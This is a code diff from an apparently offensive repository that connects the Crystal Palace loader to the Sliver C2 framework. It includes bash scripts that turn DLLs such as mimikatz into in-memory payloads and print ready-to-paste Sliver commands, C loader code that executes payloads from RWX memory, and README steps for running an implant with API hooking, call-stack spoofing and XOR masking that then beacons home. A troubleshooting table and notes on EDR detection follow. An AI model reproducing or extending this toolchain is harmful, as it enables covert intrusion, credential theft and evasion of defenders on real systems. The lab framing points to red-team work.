||||
|
||||
set -euo pipefail
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir (contains crystalpalace.jar + link script)}"
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
|
||||
|
||||
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-file] [output.bin]}"
|
||||
ARGS_FILE="${2:-}"
|
||||
OUTPUT="${3:-./build/crystal-postex.x64.bin}"
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
|
||||
|
||||
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-string-or-file] [output.bin]}"
|
||||
ARGS_INPUT="${2:-}"
|
||||
OUTPUT="${3:-./build/$(basename "$INPUT_DLL" .dll).pico.bin}"
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
POSTEX_DIR="$REPO_ROOT/postex-loader"
|
||||
@@ -32,9 +35,14 @@ mkdir -p "$BUILD_DIR"
|
||||
# Resolve OUTPUT to absolute path BEFORE we cd into postex-loader
|
||||
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
|
||||
|
||||
if [[ -z "$ARGS_FILE" ]]; then
|
||||
if [[ -z "$ARGS_INPUT" ]]; then
|
||||
ARGS_FILE="$BUILD_DIR/empty.args"
|
||||
: > "$ARGS_FILE"
|
||||
elif [[ -f "$ARGS_INPUT" ]]; then
|
||||
ARGS_FILE="$ARGS_INPUT"
|
||||
else
|
||||
ARGS_FILE="$BUILD_DIR/args.tmp"
|
||||
printf '%s' "$ARGS_INPUT" > "$ARGS_FILE"
|
||||
fi
|
||||
ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")"
|
||||
|
||||
|
||||
Executable
+47
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# postex.sh — one-shot post-ex wrapper: DLL → PICO → ready-to-paste Sliver command
|
||||
#
|
||||
# Usage:
|
||||
# ./postex.sh <dll> [args-string]
|
||||
#
|
||||
# Wraps the DLL through Crystal Palace into a named PICO, then prints the
|
||||
# ready-to-paste Sliver command. PICO is named after the input DLL
|
||||
# (e.g. mimikatz.dll → build/mimikatz.pico.bin).
|
||||
#
|
||||
# If args-string is given it is baked into the PICO at link time.
|
||||
# For runtime-dynamic args (no rebuild needed), use args= directly in Sliver.
|
||||
#
|
||||
# Required: CRYSTAL_PALACE_HOME in env OR set in sliver-glue/.crystalenv
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
|
||||
|
||||
INPUT_DLL="${1:?Usage: postex.sh <dll> [args-string]}"
|
||||
ARGS_INPUT="${2:-}"
|
||||
|
||||
BASENAME="$(basename "$INPUT_DLL" .dll)"
|
||||
OUTPUT="$SCRIPT_DIR/build/${BASENAME}.pico.bin"
|
||||
|
||||
"$SCRIPT_DIR/generate.sh" "$INPUT_DLL" "$ARGS_INPUT" "$OUTPUT"
|
||||
|
||||
echo ""
|
||||
echo "══════════════════════════════════════════════════════════"
|
||||
echo "[+] PICO: $OUTPUT"
|
||||
echo ""
|
||||
echo " Paste into sliver-client:"
|
||||
echo " crystal payload=$OUTPUT"
|
||||
echo ""
|
||||
echo " With runtime args (overrides baked args, no rebuild):"
|
||||
echo " crystal payload=$OUTPUT args=\"<command string>\""
|
||||
echo ""
|
||||
|
||||
TARBALL="$SCRIPT_DIR/build/crystal-loader-0.1.0.tar.gz"
|
||||
if [[ -f "$TARBALL" ]]; then
|
||||
echo " One-time extension install (skip if already loaded):"
|
||||
echo " extensions install $TARBALL"
|
||||
echo ""
|
||||
fi
|
||||
echo "══════════════════════════════════════════════════════════"
|
||||
@@ -60,6 +60,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* optional runtime args string (second extension argument, type string) */
|
||||
int args_len = 0;
|
||||
char *runtime_args = BeaconDataExtract(&parser, &args_len);
|
||||
|
||||
/*
|
||||
* Allocate RWX. The PICO does its own VirtualProtect calls internally
|
||||
* (see postex-loader/src/loader.c fix_section_permissions). Starting
|
||||
@@ -82,7 +86,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
emit(callback, "[crystal-loader] executing PICO\n");
|
||||
|
||||
pico_entry_t entry = (pico_entry_t)pico_mem;
|
||||
entry(NULL);
|
||||
entry((args_len > 0) ? runtime_args : NULL);
|
||||
|
||||
/*
|
||||
* Intentionally NOT freeing pico_mem. Crystal Palace's loader chain
|
||||
|
||||
+20
-6
@@ -231,12 +231,15 @@ Execution order inside `run.x64.exe`:
|
||||
|
||||
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
|
||||
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
|
||||
3. Crystal Palace loader resolves the Win32 APIs it needs via ror13 hashing
|
||||
3. Crystal Palace loader resolves Win32 APIs via ror13 hashing
|
||||
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
||||
5. Installs Draugr call-stack spoof
|
||||
6. Unmasks (XOR) the embedded Sliver DLL
|
||||
7. Calls Sliver's `DllMain(DLL_PROCESS_ATTACH)`
|
||||
8. Sliver implant initializes and beacons home
|
||||
5. Installs Draugr call-stack spoofing
|
||||
6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
|
||||
7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption)
|
||||
8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
|
||||
9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init
|
||||
10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine
|
||||
11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines
|
||||
|
||||
On the Sliver console:
|
||||
|
||||
@@ -246,7 +249,18 @@ sliver > use 2
|
||||
sliver (WIN10-LAB) > whoami
|
||||
```
|
||||
|
||||
### 2.6 Iteration: measure detection
|
||||
### 2.6 Common Phase 2 failures
|
||||
|
||||
| Symptom | Root cause | Fix |
|
||||
|---|---|---|
|
||||
| Process runs ~200 s then exits code 1, zero TCP connections | `.pdata` not registered → `RtlLookupFunctionEntry` returns NULL for all beacon addresses → goroutine stack can't grow → connection goroutine panics | `NTDLL$RtlAddFunctionTable` must be called in `loader.c` before `DllMain` |
|
||||
| Process exits immediately, no network activity | `StartW` not called — all three data-directory lookups returned zero because code was reading headers from `dll_dst` (which has no headers; Crystal Palace `LoadSections` only maps sections) | Use `GetDataDirectory(&dll_data, entry)` everywhere; save `export_rva` before `VirtualFree(dll_src)` |
|
||||
| CGO / CRT crashes before any network activity | TLS callback[0] (CRT `_initterm`) never called | Walk `IMAGE_DIRECTORY_ENTRY_TLS` before `DllMain`; get RVA from `GetDataDirectory`, not from `dll_dst` |
|
||||
| Crash in beacon goroutine shortly after start | `_ExitThread` hook frees `dll_dst` while beacon is running | Remove `cleanup_memory` from `_ExitThread` in `pico.c` |
|
||||
| Random crashes when beacon sleeps | `_Sleep` hook XOR-masks all DLL sections while Go goroutines on other threads keep executing | Remove `mask_memory` calls from `_Sleep` in `pico.c` |
|
||||
| `VirtualAlloc` / `VirtualFree` / `VirtualProtect` infinite loop | Fallback inside hook used `KERNEL32$Foo` which is rewritten to `_Foo` by `loader.spec` `attach` directive | Use `KERNELBASE$Foo` as fallback (KERNELBASE is not in any `attach` list) |
|
||||
|
||||
### 2.8 Iteration: measure detection
|
||||
|
||||
- Re-enable Defender / EDR before subsequent tests
|
||||
- Use `external/crystalpalace/dist/link ... -g out.yar` to generate YARA rules against your build, useful for guessing the EDR signature surface
|
||||
|
||||
Reference in New Issue
Block a user